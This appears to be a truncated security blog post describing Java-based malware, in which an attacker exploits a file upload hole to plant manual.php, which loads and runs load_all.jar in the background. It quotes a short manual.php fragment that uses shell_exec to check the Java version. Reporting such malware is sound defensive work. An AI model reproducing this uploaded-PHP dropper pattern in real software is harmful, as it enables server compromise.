load_all.jar

load_all.jar

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Malware details

Today we found Java based malware. If attacker found File Upload vulnerability on the server, then it upload manual.php based malware, which trying load load_all.jar to server and running it background. Manual.php $out = shell_exec(“java -version 2>&1”); preg_match(“/version\s+\”1\.(\d+)\./”,$out,$matches); $ver = 0; if($matches)$ver = (int)$matches[1]; This manual.php uses lot off shell_exec function, but if you have … Read more